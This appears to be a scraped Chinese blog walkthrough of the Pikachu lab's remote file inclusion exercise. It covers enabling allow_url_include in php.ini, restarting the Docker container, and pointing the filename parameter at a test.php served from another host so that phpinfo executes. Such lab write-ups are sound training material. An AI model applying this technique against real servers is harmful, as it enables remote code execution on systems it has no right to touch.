当前位置: 首页 > news >正文

Pikachu-File Inclusion-远程文件包含

 远程文件包含漏洞

        是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。但远程文件包含漏洞的利用条件较为苛刻;因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

PHP的需要php.ini中配置

allow_url_fopen=On    // 默认情况下是打开的;
allow_url_include=On  // 默认情况下是关闭的;

开启配置

文件所在位置:

	/etc/php/7.3/apache2/php.ini

修改完成后,

重启容器, 

exit         #退出当前容器的/bin/bash
docker ps    #查找当前容器id
docker restart 4e4ccb0e81d2   #重启pikachu容器

再次访问,没有了告警;

首先,在D盘下构造一个 test.php 文件 ,

python 搭一个本地文件服务器

 再次请求远程文件包含, filename 的值改为http://192.168.3.218:8000:test.php   

可以看到,phpinfo 已经显示;

http://www.lryc.cn/news/453598.html

相关文章:

  • TIM(Timer)定时器的原理
  • Microsoft Visual Studio有多油饼
  • Golang | Leetcode Golang题解之第452题用最少数量的箭引爆气球
  • Python 从入门到实战35(进程-multiprocessing模块)
  • “米哈游悄然布局未来科技:入股星海图,共绘具身智能机器人新篇章“
  • 基于spring boot的篮球论坛系统
  • 华夏ERP账号密码泄露漏洞
  • Android问题笔记五十:构建错误-AAPT2 aapt2-7.0.2-7396180-windows Daemon
  • CAD 3dsmax maya等autodesk系列专用卸载修复工具AutoRemove,一键完全彻底卸载删除软件的专用卸载工具
  • python中的函数介绍
  • LinuxO(1)调度算法
  • 安防监控/视频系统EasyCVR视频汇聚平台如何过滤134段的告警通道?
  • SDKMAN!安装Maven
  • [NeurIPS 2022] STaR: Bootstrapping Reasoning With Reasoning
  • C++中对象的构造与析构
  • 算法笔记(九)——栈
  • 动态SLAM总结一
  • HTB:Mongod[WriteUP]
  • DenseNet算法:口腔癌识别
  • 828华为云征文 | 利用FIO工具测试Flexus云服务器X实例存储性能
  • Pikachu-File Inclusion- 本地文件包含
  • linux基础 超级笔记
  • Python——异常处理机制
  • 社群团购中的用户黏性价值:以开源小程序多商户AI智能名片商城源码为例
  • 基于php的民宿预订管理系统
  • java 从基础到入门 到架构师所需要学习的路线
  • 【吊打面试官系列-MySQL面试题】什么叫视图?游标是什么?
  • 项目管理-信息技术发展
  • 异常处理【C++提升】(基本思想,重要概念,异常处理的函数机制、异常机制,栈解旋......你想要的全都有)
  • 基于springboot vue 电影推荐系统